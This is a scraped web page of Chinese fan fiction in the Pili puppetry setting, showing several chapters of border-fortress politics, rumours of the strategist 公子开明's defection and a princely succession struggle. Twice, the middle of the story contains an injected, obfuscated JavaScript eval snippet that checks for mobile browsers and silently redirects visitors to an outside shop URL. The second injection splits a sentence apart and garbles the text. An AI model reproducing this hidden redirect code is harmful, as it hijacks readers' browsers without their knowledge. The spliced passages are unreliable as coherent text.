那人背对着他,幽暗的绿发高高束起,腰间一把长刀略有些眼熟。 细想来,那刀似乎是帝鬼所有物。 只见那人站在灯塔下面,一群金色的鸟围在他周身,而那人一动不动,好像是在观察这些鸟。 公子开明站定的一瞬间,信息便犹如海水一般一齐涌上了他的脑海—— 这是个人族,还是个能进入灯塔岛的人族。那些鸟是术法,这术法……这术法对魔族无用,那它们是—— 还未想完,那个人族似是听到了声音,忽然回过了身,公子开明便看到了他的脸。 说时迟那时快,公子开明忽地上前大喊一声,“帝尊小心!” 接着,不等戮世摩罗迟疑,公子开明伸出右手把他拽到了自己的身后,同时左手挥出降妖宝杖,朝着那些金鸟就砸了过去! 金鸟本欲攻击戮世摩罗,忽地被公子开明这么一打,瞬间碎成了无数术法碎片,波光粼粼地炸裂开来,如同落花般飞舞旋转地落在了两人的周身。 但这术法的力量还没有结束,金色的碎片落地之后,身后的海水跟随着强大的魔力形成一道巨大的水花,犹如一条虎视眈眈的巨龙,张着血盆大口想要吞噬那座灯塔。 公子开明迅速转身,把戮世摩罗带到自己身后,换掌朝那巨浪打了一掌,金光冲出,海浪顿时散成了无数的水花。 水花四散,公子开明用棍子划了一道金色的屏障挡住,才没将两人淋成落汤鸡。 他又定睛去看那些金鸟,发现金鸟碎成的碎片也随即消失了,很是不堪一击。 公子开明又观察了两三秒,见危机似乎已经解除了,拍了拍自己的心口,自言自语道,“哇,好险好险,幸亏我反应快。” 说完,他转过头去看被他拽到身后的人。 果然没看错,此人眉眼,确实和史艳文俏如来有几分相似。 但他还没开口,就见对方眼神里闪过了一丝疑惑: “你是……?” 哎呀,忘了忘了,帝尊还没有见过他。 于是他低头行了个礼,用相对比较正经的语气,对这个初次见面的帝尊介绍道,“帝尊你好,我就是你的策君公子开明咯!” —未完待续— ?? 3. 开局(3) 【3】 沉沦海边防堡垒,议政厅。 戮世摩罗坐在最前方的椅子上,网中人站在右边,左边站着公子开明、曼邪音,以及边关的几位守军将领。 “方才刚一进入边关,就听守军说瞭望塔那边出现异象。那时妖神将去找曼邪音了,我就自己去查看了一下,”戮世摩罗一边解释着,一边拍了拍自己的心口,“没想到那居然是个陷阱,幸亏策君出手,不然我就受伤了。” 网中人冷冷地道,“我有提醒过你不要自己乱跑,既然不听,受伤也怨不得别人。” “是啦妖神将,”戮世摩罗朝网中人挥了挥手,“我就是那个喜欢乱跑的小孩,你莫怪罪。” 他一边说着,一边转头看向一旁的公子开明,“哦对了,这还是我和策君第一次见面,久仰大名了,之前在人世的时候,就听妖神将提起过你,镇守边关辛苦了。” 公子开明本想说“史艳文和俏如来也提起过你”,想了想把这话咽了下去,转而道,“不辛苦帝尊~这是我应该做的。” “魔都到沉沦海并不远,之所以走了足足一个多月,是因为我路上顺便去拜访了一下六地七公,虽然没有全部拜访完。”戮世摩罗说道,“本来刚到魔世时就应该去的,奈何那时局势动荡,我不适合离开魔都,也就一直没来沉沦海看望策君和闼婆尊。” “沉沦海有策君和我镇守,”曼邪音回道,“帝尊大可以放心。” “嗯。”戮世摩罗点点头,转头看向公子开明,“对于最近凶岳疆朝的局势,策君有什么看法吗?” 公子开明有些意外地眨了眨眼睛,他还以为帝尊会问他关于流言的事情,没想到他竟然先问他凶岳疆朝的局势。 “凶岳疆朝嘛……现在……我认为……” 公子开明低着头哼哼了两声,而后抬起头道,“我认为他们目前不会对修罗国度和幽闇联盟出手。” “能肯定吗?”曼邪音问道,她清楚现在的局势,修罗国度和幽闇联盟经过元邪皇之祸,势力都非常羸弱,一旦凶岳疆朝打来,会是非常大的一个麻烦。 “因为他们现在内部有麻烦。”公子开明回道,“老龙现在势力单薄,四皇子和六皇子正在争夺权势……” “哦?策君知道的这么清楚啊?” 公子开明还未说完,他身侧的一名守军将士就略带嘲讽地打断了他的话。 公子开明转头看去,见说话的人是驻守浮玉关的赤甯朱厌。 浮玉关建在苕水海峡之上,那里是距离凶岳疆朝最近的峡关,隔着一道海峡与对岸的凤鸣山遥遥相望。若凶岳疆朝来袭,第一个攻打的必定是浮玉关,所以镇守浮玉关的赤甯朱厌也握着三尊之下最大的兵权。 自炽阎天和荡神灭死后,这个赤甯朱厌似乎很想要跻身三尊之位,经常在边关议事时抢着发表自己的看法。开始公子开明还给他点面子,耐心听他把话讲完,后来他发现这个人发言纯属为了刷存在感,便对他那些并没有什么价值的建议感到厌烦了,往往不等他把话讲完就直接打断。 因此,这个赤甯朱厌对他似乎一直颇有微词。 此时此刻,面对赤甯朱厌的质疑,公子开明倒也料到了他会来这么一手——帝尊好不容易来边关一趟,可不得好好在帝尊面前表现一下? “身为修罗国度的策君,我自然是有获取情报的方法咯,这点就不劳赤甯朱厌将军费心了~”公子开明回应道。 “哼,什么方法?和敌国皇子相聊甚欢的方法吗?”赤甯朱厌翻了个白眼,“别是伤人一千自损一千,得了情报,同时也把自家情报也泄露出去了。” “哎哎哎!我是策君哎,策君会做这么傻的事吗?”公子开明虽是和赤甯朱厌说话,脸却转了过去,观察戮世摩罗的表情。 年轻的帝尊没有露出任何异样的神色,看到公子开明在看他,便道,“策君啊,没关系,你继续说。” 公子开明得了帝尊支持,便清了清嗓子继续道,“那我接着说咯~在这场争夺皇位的战争中,应龙师、四皇子和六皇子其实也形成了一个微妙的三足鼎立局势,此时他们三人彼此互相牵制,能暂时稳定凶岳疆朝,但是,但凡有一角缺了,这个局势就会被破坏,造成凶岳疆朝的内乱。” 曼邪音问,“那我们是按兵不动,还是推波助澜?” 公子开明回道,“看局势,开始按兵不动,但若对方是一群蠢货,可能就需要我们推波助澜了。” “策君觉得,这个局势什么时候会被打破呢?”戮世摩罗问道,“万一他们一直保持着这个平衡怎么办?” “不会的。”公子开明摇了摇头: “应龙师、四皇子、六皇子都想要独揽大权,这也就意味着这场内乱必会发生。但他们必须要在修罗国度和幽闇联盟国力虚弱的时候将内乱结束掉,若是等到两国国力恢复过来,这场内乱的后果很有可能就是两国一起灭掉凶岳疆朝。” “所以,”公子开明说出结论,“内乱很快就会开始,他们三人必有一人会按耐不住先出手,打破这个平衡。” 公子开明刚想继续说下去,赤甯朱厌却忽然插言:“那,策君觉得谁会在内乱中胜出呢?” 公子开明对于自己的话被两次打断十分不满,“赤甯朱厌我真是不知道你在说什么想什么讨论什么,他们谁胜谁输和我有什么关系?” “策君不希望四皇子赢吗?”赤甯朱厌冷哼一声道。 公子开明莫名其妙,“关四皇子什么事?” “哼!在帝尊面前你还想装傻?”赤甯朱厌袖子往身后一别,怒道,“整个边关的人都知道你……” “赤甯朱厌。” 他话还没说完,身后忽然传来一个低沉的声音,一下子打断了他。 赤甯朱厌忙停了声音,他和公子开明一齐朝那声音的主人看去,发现竟然是戮世摩罗。 两人忙低头,“帝尊。” 戮世摩罗方才那声明显有些沉,但此时此刻又恢复成了轻松的语气,“哦,没事,只是策君刚刚话还有话没说,能先听策君讲完吗?” 闻言,公子开明和赤甯朱厌皆是愣怔了一下。 公子开明僵了一下,而后才继续道,“接下来……其实是我自己的猜测,依照我对四皇子和六皇子的了解,四皇子若出手,一定是先对付应龙师,因为六皇子在他眼里不足为惧。但若六皇子先出手,可能对付的就是四皇子了……” “那你认为谁会先出手?”曼邪音问他。 “这嘛……”公子开明晃了晃脑袋,很干脆地回答: “不知道。” “这……”曼邪音将手收了回来。 “嗯。”戮世摩罗点点头,“我接受这个不知道。” “哼,你不是对凶岳疆朝的两位皇子很了解吗?连这都预测不出来吗?”赤甯朱厌不屑地说道。 公子开明大声抗议道,“拜托哩拜托哩,我是策君,不是预言师,这种事我哪知道啊,我又不是他俩肚子里的蛔虫!” “哼,难道和四皇子见了那么多次面,他都没告诉过你吗?”赤甯朱厌冷哼道,“少说也有几十次了吧?” “喂喂喂,赤甯朱厌,你造谣也要有个底线好不好,”公子开明有些着急地纠正对方的措辞,“哪有几十次那么多啊!” “那次数肯定也不少!” “你……” 公子开明刚想反驳,网中人忽然怒道,“要吵架的话出去吵!” 赤甯朱厌惧怕网中人,听见声音,急忙闭了嘴。 公子开明却不怕,他甚至得寸进尺地冲到网中人面前,挥舞着胳膊大声道,“妖神将,你觉得谁会先动手?” “他们两人谁先动手我不知道,”网中人回答他,“但你若再吵,网中人就先对你动手。” “哎呀哎呀哎呀,”公子开明往后退了几步,“我……伤心了……” “好了,一刻钟就能解决的会议,被你们硬生生拖了这么长时间。”戮世摩罗一边说着一边站起身,往座位下面走去,“策君说的我都了解了。稍后我还有件事要去处理,大家先回去各司其职吧。” 网中人问他,“你去哪里?” “哦,我忘了说,”戮世摩罗忽然像是想起来了什么似的,转头对网中人道,“妖神将,你先不用和我一起,这件事我自己去。” 网中人有些迟疑地“嗯?”了一声,“你自己?” “我去一趟浮玉关。”戮世摩罗说,“赤甯朱厌随我去吧。” 赤甯朱厌一听有可以护送帝尊的机会,眼睛都亮了,“好的好的,那我这就去调遣守军接应帝尊。” 说完,他就转身急匆匆地跑出去了。 待到其他的守军将领也离开后,网中人才冷哼一声,“小子葫芦里又在卖什么药?” “唉,没事啦,妖神将,”戮世摩罗拍了拍他的肩膀,“赤甯朱厌这家伙虽然脑子不太好使,但武力值可是不容置疑,要不然策君能让他在浮玉关守那么多年?” “……那,你自己保重吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13689162|144353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 网中人闻言,左手一背,也大步离开了。 —— 夜深人静,万籁俱寂,只有藏书阁中一盏长明灯燃着,照亮一隅。 公子开明坐在桌前,一手托着腮,一手敲着桌上的卷宗,发着呆,也不知道在想什么。 不知这样过了多久,曼邪音从门外走进来了。 公子开明看见曼邪音,也没动,只是慢吞吞地道,“咦?曼邪音?你来找我?” “路过,”曼邪音回道,“看你这里的灯还亮着,就进来看看。” “哎,看吧看吧,”公子开明挥出胳膊指了指一地乱七八糟的卷宗,“全是收拾不完的卷宗,也没什么好看的。让阿飘帮忙他也不帮,帝尊来了他就走了。” 曼邪音在他对面坐了下来,烛光映在她的脸上,黑一块白一块,明明灭灭,隐匿情绪。 “会议结束后,策君的心情似乎就不是很好。”曼邪音问他,“有心事?” “唉唉唉?”公子开明像是听到了天方夜谭,“曼邪音你都能看出别人有心事了,进步不少。” “那就是真的有心事了。”曼邪音抓住了重点。 “没,没心事,我哪有什么心事。”公子开明直起身,右手胡乱翻了翻眼前的卷宗,像是要找点什么事情做一样。 曼邪音叹了口气,缓声道,“是今天议政的时候,想起前帝尊了吧?” 公子开明的手一下子顿住了。 过了许久,他才开口道,“你是说,邪神将?” 曼邪音摇了摇头,“我是说帝鬼。” “……” 公子开明低下头,把眼睛里的情绪藏进了一片属于夜的黑暗中,“你怎么会认为我会想起前前前帝尊呢?” 曼邪音说,“帝尊说让你继续讲下去的时候。” 公子开明手上翻着卷宗,可那动作好慢好慢,每一页都满是迟疑。 “如果说这世上还有谁能受得了你的话,那就是他了。”曼邪音说道,“这不是他经常会说的话吗?每当你吵得妖神将和荡神灭受不了你时,他都会说,无妨,让策君继续讲下去。” 公子开明垂着的眸子里似乎有火光在跳动,而他的眼神里却无法读出他的所思所想,“嗯……是曼邪音你自己想起来,然后来找我说的吧~” 他一边说着,一边压低手腕,那一页终于被他翻过去了。 “是。”曼邪音倒也不否认,“我是也想起来了。” “所以呢?”公子开明问,“你和我说这些做什么?” “没什么。”曼邪音回道。 她这句话出得快,语气里却有所迟疑,似乎还有没说出口的话。 她默默地盯着前方沉默了好一会儿,最后大概是觉得自己实在是说不出口,便放弃,扶着桌子起身了。 公子开明见状,也起身,想要将她送到门口,结果曼邪音起身后没走,原地停留了一会儿,忽然道: “其实,我是想说,” 她顿了一下,而后用很是坚定的语气对公子开明道: “我想说,他会是一个好帝尊。” “……啊?” 公子开明夸张地歪了个头,抓了抓自己的头发,像是遇到了一个他解决不了的难题: “等下,我忍不住要学梦虬孙了,看到鬼……” “怎么了?”曼邪音难得说出这种话来,听公子开明这样讲,不免有些恼,“策君不这么认为?” “当然——也是这么认为的啦!”公子开明拍了拍曼邪音的肩膀,“他会是个好帝尊的,不然妖神将也不会对他服气啊!” 曼邪音垂下眸子看着地板,顿了两三秒后,又道,“策君,其实……关于你和四皇子的流言,我是不信的。” 公子开明看着她,没有说话,似是在等她的下一句。 “但策君你可知道,但凡他们把你投靠的国家换成幽闇联盟,我可能就信了。” 她大概是下了很大的决心才说出的这句话,连拳头都握起来了,指甲陷进手心里,生疼生疼。 “……唉。” 公子开明叹了口气,没有回话。他能回什么呢?他什么都回不了,解释和狡辩只有一墙之隔,闼婆尊若是认为他是狡辩,他说再多也没有用。 两人站在幽幽烛火之中,无言许久之后,闼婆尊重重地叹了口气,轻声道,“策君,好生珍重吧。” 说完,她低了低头,转过身,默默地走进门外一片黑暗之中了。 —未完待续— 4. 开局(4) 【4】 凤鸣山,羽瑞寒魄宫。 麒染从进了院子后,就坐在梧桐树下的石桌前发呆。他一直盯着前方,不说话也不动,如同化作了一尊石像一般。 直到凤璇音从屋内走出来,叫了他一声“六哥。”麒染才转过身去看向她。 “啊,凤妹,你来了。” “方才六哥进来的时候,让侍女通报我说无需接待,只想静坐一会儿。我在屋内看六哥都坐两个时辰了,忍不住出来看看你,”凤璇音一边说着一边坐到了麒染的对面,“六哥想什么呢?” “哈,没什么,”麒染笑了笑,“只是平时思虑太多,想到你这里清净清净。” “寒魄宫里的千年玄冰,倒确实有安神定心的功效。”正说着,白衣侍女端过来了两盏茶,凤璇音将其中一盏茶递给麒染,“这是前几日母后托人自瑶山送来的羽夜冰茶,六哥你也尝尝。” 麒染拿过晶莹剔透的茶杯,杯中凉茶呈淡淡的蓝色,还冒着白色的寒气,“哈,母后最是疼爱你,有什么好东西先往你这里送。” “六哥你又取笑我,论疼爱,哪里比得上六哥得母后宠爱?”凤璇音笑道,“只不过瑶山在沉沦海之上,寒魄宫又离沉沦海近,她顺路往我这儿送方便些罢了。” “哼,我若真能得母后青眼相待,那真是求之不得,可惜父王和母后眼里只有四皇兄……” 凤璇音放下茶杯,安慰麒染道,“父王母后只是因六哥年纪小,不忍让六哥承担过多。” “哼,不忍让我承担过多?我看只是不相信我罢了。”说起这个,麒染就愤愤不平起来: “从小到大,我哪一点比不过老四?论术法,论剑术,论文采,哪一次夫子考核,我的成绩不是在他之上?可议事论政,父王从来都只找四哥不找我。每次都不与我交谈,我对政治的见解自然就比不上四哥了!但凡他们能再多了解一些我的能为……” “哎呀,政治有什么好玩的。”眼见麒染又要发起牢骚,凤璇音急忙拍了拍他的肩膀示意他冷静,“六哥你琴棋书画无所不通,待到四哥成为疆主后,做个游山玩水的闲散王爷多好?那时说不定母后也找到可以祛除我体内邪火的方法了,你就陪我游历九界大好山河,多好呀。” “凤妹,别说我不愿陪你。”麒染摇了摇头,“我这一身能为你是知道的,若是得不到施展,你觉得我真的会快乐吗?” 凤璇音托着腮,有些苦恼地道,“六哥,我知道无论我怎么劝你,你都想要和四哥争,可是我真的很担心你。” 麒染问她,“有什么好担心的,我就不信,我从小样样都强过老四,还能争不过他吗?” 凤璇音摇了摇头,“不是啦,六哥你若是单独和四哥争,我倒不担心,可是四哥手下有那么多奇人异士,能调动的属下可比六哥多多了。” “哼,这看似是他的优势,却也是他最大的弱点。”麒染冷哼一声,似是对麒岁养士的行为十分不屑,“他搜罗来的那些奇人异士,什么样的货色都有,一大半都是去他府上吃白食的。若有一天他失了势,还有几个愿意继续跟随他?” 凤璇音想了想,似乎是觉得麒染说的有道理,默默地点了点头,又道,“那六哥觉得,你和四哥打起来的话,父王和母后会向着谁?” 凤璇音此话一出,麒染沉默了。 如果是从前,麒染会毫不犹豫地认为父王会向着麒岁。但现在不一样了,麒岁架空父王,独揽大权,父王不可能对他没有怨言。 如果他现在和四哥摊牌争位,真说不准父王会向着谁,毕竟用脚趾头想想都知道,以四哥的雷霆手段,一旦夺了王位,还能留父王性命吗? 而自己就不一样了,他从小被父兄的光环压制,本本分分没做过一点出格的事,就算最后夺得了王位,也只会尊父王为太上王,绝对不会弑父的。 “父王……他不会任由我和四哥打起来的。”麒染说这句话的时候语速很慢,似是一边斟酌着一边吐字,“起码他活着的时候不会……” “嗯?六哥你说什么?”凤璇音没听清楚麒染的话,歪了歪头向他确认。 麒染忽然发觉自己失言了,忙直起身子,“哦,没什么,我想父王他应该不会出面管这件事情,他自己的伤还没养好呢。” “也是,自之前元邪皇之乱后,父王的伤就一直没好。”说起这个,凤璇音的语气也忧心忡忡了起来,“六哥,你有空的时候多去看看父王。我在寒魄宫中不能离开,你就帮我带个话,要他一定好好养伤。” 说罢,又叫侍女去准备些茶叶,“我稍后准备几袋羽夜冰茶,帮我给父王送过去吧。” “嗯。”麒染点了点头,“凤妹的话我会带到的。” 顿了一下,忽然像是想起了什么似的,“哎呀”了一声,低头从袖子里拿出了一个盒子,“对了对了,把这个给忘了。” “嗯?”什么呀?凤璇音见麒染把盒子递给她,有些疑惑地看过去,接着发现,这不是她之前让麒染去取海魂珠的盒子吗? “海魂珠?”凤璇音的眼睛一下子亮了,忙接过盒子,激动地打开了盖子。 只见盒子中,静静地躺着一颗紫蓝相间的珠子,在珍珠白色的丝缎中,微微闪着绮丽的光芒。 凤璇音开心地道,“好漂亮啊!谢谢六哥!” “你六哥我为了采这颗海魂珠,差点都跑到修罗国度的领地去了。”麒染笑着道,“你喜欢就好。” 话说完,忽然注意到凤璇音的袖子里似乎露出了一角书页,于是好奇地问,“凤妹,你袖子里面是什么?” “嗯?”凤璇音闻言,低头看看自己的袖子,而后将袖子里的那张书页抽了出来,“哦,今天在屋子里发现的,不知道是不是四哥之前来落下的。我看不懂,但知道书是好东西,就没舍得扔,想着等六哥来了请教一下呢。” 说罢,她将那张书页递给了麒染。 麒染将书页接过来,定睛一看,身子顿时就僵住了。 这是……《菩提残页》…… 麒染拿着书页不说话,凤璇音见他神色不对,忙问,“怎么了六哥,这书的内容……有什么不对吗?” 麒染紧皱眉头,抬起眼睛看向凤璇音。 “没……”他喃喃着,声音压得很低很低: “这既然是四哥留下的,我就去还给他吧。” —— “策君……关外有一人说要见您……” “不见!” “他已经在关外站了六天了……” “不见!说不见就不见!” “策君……” “啊啊啊啊啊啊啊啊!烦!” 公子开明把手里的卷宗“啪”地一声打在桌子上,怒气冲天地道,“你和他说,就算他死在招摇关外,本!策!君!也!不!见!” 那魔兵犹豫了一下,接着问道,“策君,属下多言问一句,来者真的是凶岳疆朝的四皇子吗?” 公子开明的头发几乎都要竖起来了,“你也知道这是多言?” “呃……不是,”魔兵挠了挠头,“属下只是想提醒策君,他看起来好像真的快要饿死了……” “……” 最终,公子开明还是选择在木鸢上与这个夭寿老四会面。 他一见麒岁那张笑眯眯的脸就气不打一出来,恨不得轮着棍子就上去把这家伙打成两半。 偏偏对方像是根本没察觉到公子开明的怒气,十分自觉地接住了公子开明朝他扔过来的点心,拿出来尝了一口,故作惊讶地道,“策君你自己做的?味道还不错!” “对!”公子开明气呼呼地道,“本策君在里面下了剧毒!不过一刻钟你就死翘翘了!” “哎,比起在招摇关外饿死,我还是选择被策君毒死,毕竟死在策君手里,不冤。” “你找我有什么急事?是你家老龙急着要发丧?”公子开明故意拿话激他,“如果还是之前那些话,就赶紧下车,本策君最近整理卷宗忙得要死!没功夫和你掰扯。” “火气别那么大,我还以为你被妖神将上身了。”麒岁一点也不生气,甚至走过来想要拍拍公子开明的肩膀,结果被公子开明一闪身躲开了。 “听说边关最近盛传你要投靠我了?”麒岁问他。 公子开明真想知道此人为何还能如此平静地说出这句话,“你你你!你还来问我?”他一步上前,气恼地指责他,“我还想问你呢!谁干的好事?” 麒岁“啊?”了一声,“策君的意思是,散布谣言的人是我?” “能从这谣言中得到好处的只有你!”公子开明控诉道,“除了你我还能怀疑谁?你别告诉我是你哪个衷心耿耿的手下瞒着你散布了这些谣言,就为了能让他家主子招回来一个不稳定因素压着他使唤!” “策君也知道自己爱使唤人。” “少——转移话题!流言的事是不是你干的?” “嗯……”麒岁仰着脸,似是组织了一下语言,而后才道,“我承认,我使了一点小手段,让这个流言的传播速度变得更快了一些。但这个流言最初的确不是我散播出去的,想要害你的另有其人。” “另有其人?”公子开明重复,“谁?是谁?” “策君平时树敌太多,恐怕一时之间都想不到会是谁。” “乱讲!”公子开明反驳他,“我朋友太多,哪一个都不像是会害我!” “来凶岳疆朝的话,你的朋友会更多。” “不去不去就是不去!”公子开明往后退了好几步,捂着耳朵大声道,“除非你打开凶犁魔都的城门让我家帝尊打过去,不然就闭嘴!” “哈,”麒岁忍不住笑了,“策君也有叫别人闭嘴的一天。” “好了好了好了!话说很多了,人也见了话说完了点心也吃了,没别的事你该下车了以后也别再来了。”公子开明一边说着一边就要上前把麒岁推下去。 结果麒岁往后一躲,故作神秘地道,“其实我这次来找策君,是有件事情要告诉你。” 公子开明收了手,“什么事?你家老龙归西了?” 麒岁压根不吃他这一套,依旧保持微笑,“不是,我是想说,一个月后,我和黑白郎君会约战句余山谷。” “……你能不能说点本策君不知道的?” 半年前,凶岳疆朝忽然出现黑白郎君的身影,此人武功高强,实力非凡,刚一来到凶岳疆朝,就败尽各大高手。本来应龙师想要出面应战,但紧要关头,麒岁拦下了应龙师,并且替父应下了黑白郎君的约战。 这件事整个魔世都知道,还需要麒岁特意来告诉他? “是,你只知我和黑白郎君一个月后要决战,”麒岁不慌不忙地解释道,“可你不知道我的约战地点是在句余山谷呀。” 哦……这倒确实是。 于是公子开明张开手臂大声道,“那本策君就祝黑白郎君大——获——全——胜!” “策君对此事没什么看法吗?”麒岁问道。 “嗯?看法,有啊,”公子开明语速极快地道,“句余山谷侧对苕水海峡,四周皆是悬崖峭壁,唯有一条狭窄山道可以进出山谷,易守难攻。在谷内设兵,谷外的人难以进入,在谷外设兵,谷内的人就会被困死。你若是在那里被黑白郎君打死,估计给你找个收尸的人——都难!” 麒岁笑着问,“策君不去给我收个尸?” “本策君去给你毁尸灭迹!” “哈哈……”麒岁倒也不恼,只是笑了两声,“说起这个,其实我早就在谷口和悬崖上方设下一个术法,名为「天魔佐印」。” 麒岁一边说着,一边将手伸到袖子里,似乎要找什么东西,“这个术法十分强悍,就算是我父王那样强大的术法师,也很难短时间破掉,但那日我得南宫先生提点,得到了……哎?” 他话说一半,忽然有些疑惑地顿住了。 公子开明见他神色不对,便问,“怎么了?是本策君下的毒要发作了吗?” 麒岁眉头紧皱,喃喃道,“我的《菩提残页》不见了。” “《菩提残页》?”公子开明觉得这个名字出现在四皇子嘴里蛮滑稽的,“你找《菩提残页》做什么?” “那上面记载着破「天魔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13689163|144353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佐印」的招式,叫什么「弥勒缚妖魔」……”麒岁道,“我一直随身带着,但不知为何方才找时没找到……”他闭上眼回忆了一下,而后道,“嗯……想来应该是落在寒魄宫了。” 说着,他回头看向公子开明,“策君,恐怕我此时此刻真的要先行离开了。” “没事没事。”公子开明挥了挥手,“求之不得,再见,拜拜,永别!” “下次准备让我在关外站多长时间?” “下次再管你我就不叫公子开明!” 公子开明大声说完,一伸手就把他推下去了。 他知道对方已有离意,这样推摔不死。 麒岁落下去的时候,公子开明忽然想起有一事没有问他,便慌忙喊道,“你这死小孩来告诉我句余山谷的事做什么?!” 只听得半空中传来一声,“等你来和我一起看好戏啊!” 接着,就见茫茫海雾中闪过一道绿光,转眼就消失了。 —— 公子开明在招摇关外落了地,低着头一边思考一边往前走,走了几十步,忽然意识到前面好像有个人,马上就要撞上了,但他步子走得太快,来不及停下,“咚”地一声就和那人撞到一起了。 “哎呀哎呀痛痛痛,谁……”公子开明往后跳了好几步,一边揉着额头一边看向前方,结果就看到一只冷冰冰看着他的眼睛。 要命了,怎么会是戮世摩罗。 公子开明急忙晃晃脑袋,“哎哎哎?是帝尊?”接着又问,“帝尊怎么会在这里啊?” “啊,刚从浮玉关散步回来,正准备进去呢。”戮世摩罗似乎一点也不意外会这里碰到公子开明,“倒是策君,怎么会在关外?” “和帝尊一样啊,散步,散步而已。”公子开明一边说着一边就想绕过戮世摩罗开溜,结果戮世摩罗一伸手,就拎着公子开明的后领把他拽了回来: “策君啊,你这就不礼貌了,我话都没说完你就走?” “哎呀哎呀哎呀……”公子开明挣扎开他的手,回身看他,“帝尊有话要问我?” “有。”戮世摩罗回道,“不过在我问话之前,策君没有话要对我说?” “没啊。”公子开明和他装傻,“哦,对了,我要提醒帝尊,边关危险,海边寒冷,入夜以后帝尊不要单独到处走,当心感冒着凉遇到拐卖小孩的坏人……” “拐卖谁?”戮世摩罗直接打断他无意义的垃圾话,“拐卖策君吗?” “没有没有没有~本策君几百年的魔了,没人会拐我的~” “那……刚才从木鸢上跳下来的那一只呢?” 此话出口,四周顿时陷入了一片寂静,只有海浪的声音充斥在黑暗的天地之间。 ……也不知道他家帝尊在这儿埋伏了多久,就是为了抓他这一次,也真是辛苦了。 见公子开明不说话,戮世摩罗便慢悠悠地问道,“他和你说什么了?” 公子开明也不清楚戮世摩罗打的什么算盘,便故意不知死活地问了一句,“帝尊就这么直接问?确定我会如实报告?” “你说便是。”戮世摩罗双手背后道,语气平缓,“策君说什么我都信。” “……咦?” 坦坦荡荡一句话,倒让全身戒备的公子开明有些无所适从了。 他忽然想起,自戮世摩罗来边关之后,好像就没有过问过边关流言一事。那天晚上赤甯朱厌当着戮世摩罗的面反复提及此事,戮世摩罗竟然都没有理会。 “是说……帝尊没听说过边关的流言吗?”公子开明试探着问道。 “有听说啊。”戮世摩罗没有否认。 公子开明想再说点什么,但还不等公子开明接话,戮世摩罗就又道:“不过……胡说八道谁都会,但策君可不是天底下哪里都有,何必为了几张不值钱的嘴,折了我一个军师。” “……” 公子开明忽然有点不知道怎么接戮世摩罗的话了。 上一次修罗国度的人说相信他是什么时候?是谁说的?帝鬼?邪神将? 他记性不太好,已经忘记了…… “怎么了?”见公子开明僵在那里不说话,戮世摩罗故作关心地询问道,“策君怎么不说话了,是被我感动到了吗?” “不是啦不是啦!”公子开明急忙否认,“本策君是在想怎么和你说我得到的信息!” 他说完,拍了自己三下额头,才组织好被一股莫名心绪打乱了的语言: “嗯……其实是这样,麒岁刚才和我说,一个月后,他会在句余山谷和黑白郎君决战。” “哦?”戮世摩罗像是听到了什么很有意思的事情,“这件事我倒是知道,不过,他能打得过那只黑白斗鸡吗?” “以我对他实力的了解,”公子开明想了想,“打不过。” “那他是去找死的吗?”戮世摩罗一本正经地问。 “也许,或许,有可能,他是真的不想活了。”公子开明背着手,从左边走到右边,又从右边走到左边,“不过,我认为,他应下这场决斗,应该还有另外的目的。” 戮世摩罗问,“什么目的?” 公子开明解释道,“句余山谷地势险要,只需一点守兵,便可让入谷的人有去无回,是一个绝佳的围杀之地。四皇子挑在这里决战,我猜他一定是肯定是绝对是——” 他的声音越来越高,最后却一下子落了下来: “是想杀人。” 戮世摩罗闻言,单手背后,似乎也陷入了思考。 “杀人。”他重复,“杀谁。” “不是帝尊。”公子开明回道。 戮世摩罗点点头,“也不是黑白郎君。” “麒岁是个聪明人,”公子开明分析,“三足鼎立之势中,麒染的兵力和民心皆不及他,瑶后属意的太子人选也是他。所以他知道自己应该先去对付谁……若得王位,必先杀王。” “那,他要杀的就是……” 君臣两人隔着茫茫海雾对视,海风凛凛之中,策君说出了那个名字: “应龙师。” —未完待续— 5. 开局(5 ) 【5】 戮世摩罗走上城墙的时候,看见网中人迎面朝他走了过来。 “啊,妖神将,这么晚了你是特意在这里等我吗?”戮世摩罗问道,“我好感动。” 网中人语气冷漠地回道,“只是确认一下你是否还活着。” 顿了顿,又问,“刚才在城楼下,你和公子开明说了什么?” “没什么。”戮世摩罗回道,“麒岁刚刚来找过他,被我看到了。” “去兴师问罪了?”网中人问他 。 “兴什么师问什么罪?”戮世摩罗摇了摇头,“探听敌国情报的大好机会,我是傻子才会把它掐断了。这个策君还真是好用,不仅可以当军师用,当将军用,还可以顶一个情报组织。” 网中人提醒他,“你能确定他和你说的都是真实的?” “只要麒岁不骗他,他就没必要骗我。”戮世摩罗肯定地道,“而且麒岁也骗不过他。” “麒岁和公子开明说什么了?”网中人询问。 戮世摩罗回忆了一下刚才和公子开明的对话,回答他道,“他说,他和黑白郎君的约战地点在句余山谷。” “句余山谷?”网中人重复了一遍。 “怎么了?”戮世摩罗问他,“你想去观战?” “哼,”网中人将手背到身后,“没兴趣。” “你想去的话我不会拦你哦,”戮世摩罗把头歪到了网中人的身前,“你可以趁麒岁和黑白郎君两败俱伤的时候,把他们两人都解决了,那样我会给你一个大大的掌声鼓励。” 戮世摩罗一边说着一边鼓了鼓掌,拍了两下,忽然像是反应过来了什么似的,又道,“哎,这不是那只策君的口头禅。” 